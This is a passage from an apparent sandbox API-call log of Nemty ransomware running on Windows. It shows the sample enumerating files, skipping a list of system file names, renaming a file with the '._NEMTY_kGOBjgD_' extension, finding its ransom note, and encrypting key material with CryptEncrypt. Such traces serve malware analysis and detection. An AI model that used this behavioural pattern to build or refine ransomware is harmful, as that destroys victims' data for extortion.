lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.344] CloseHandle (hObject=0xffffffff) returned 0 [0114.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340528 [0114.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0114.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\settings.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\settings.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\settings.html._nemty_kgobjgd_")) returned 0 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340528 | out: hHeap=0x4f90000) returned 1 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b8 | out: hHeap=0x4f90000) returned 1 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0114.345] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf72de750, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf72de750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf72de750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0114.345] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0114.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0114.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0114.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340310 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.346] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf72de750, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf72de750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf72de750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0114.346] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0114.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0114.346] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285ac06b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0114.346] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0114.347] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0114.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0114.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0114.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0114.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0114.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0114.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0114.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0114.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0114.347] Sleep (dwMilliseconds=0x5) [0114.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf7cfc4d0, dwHighDateTime=0x1d561e7)) [0114.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf7cfc4d0, dwHighDateTime=0x1d561e7)) [0114.361] GetLastError () returned 0x12 [0114.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.361] GetLastError () returned 0x12 [0114.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0114.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0114.362] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340158 [0114.362] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340158, pcchString=0x653ec5c | out: pszString="vT5Gq8lirC0BDcx/SKLQUTPTHGhjBaWwyO8hARpJT5ZKejk0Dx+ykfN22SMGqE+T\r\nj3BtoaZu7etdhnRax2BYakEgRf7zh3TXGUAAan1bRNPqlbDRjTuTNd2p6VwcBVLF\r\nPjGaVwizTMUjsQ7yvaoQ76T+8a/HLhipCF4vdR3dC3pgu1m2g22VqWgJjFpoZEo3\r\nPrsIxf3+Vcuf2FA5C9g5E7hizQcQ0gg2UYitGGpfwqLT7PrI36ab9OJXGbWS0SfR\r\noqeJ96vbIk9jlwhNpkzkcMgbIUv4CUqov48umEvmrPOARzL+ZYMVA2m+AlJhdOh1\r\naC8KbINFl6sA5uOLHhmRVg==\r\n", pcchString=0x653ec5c) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0114.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340158 [0114.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 